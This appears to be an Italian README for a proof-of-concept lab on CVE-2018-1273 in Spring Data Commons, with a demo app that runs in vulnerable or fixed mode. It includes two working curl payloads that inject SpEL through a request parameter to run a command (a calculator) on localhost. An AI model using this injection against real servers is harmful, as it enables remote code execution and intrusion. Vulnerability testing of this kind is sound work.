
Exploit proof-of-concept per CVE-2018-1273, una vulnerabilità del property binder di Spring Data Commons che porta all'esecuzione remota di codice tramite parametri di richiesta HTTP appositamente creati.
Spring Data Commons, versioni precedenti alla 1.13 fino alla 1.13.10, dalla 2.0 alla 2.0.5 e versioni meno recenti non supportate, contengono una vulnerabilità nel binder delle proprietà causata da una neutralizzazione impropria di elementi speciali. Un utente malintenzionato remoto non autenticato (o attaccante) può fornire parametri di richiesta appositamente predisposti contro le risorse HTTP basate su Spring Data REST o utilizzare il binding del payload delle richieste basato su proiezioni di Spring Data, che può portare a un attacco di esecuzione remota di codice.
Maggiori informazioni qui
L'applicazione può essere testata con la versione vulnerabile o con la versione corretta di Spring Data Commons.
mvn spring-boot:run
mvn spring-boot:run -Dfixed
Eseguire il seguente comando per verificare se la vulnerabilità può essere sfruttata:
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
Creato da https://www.arima.eu
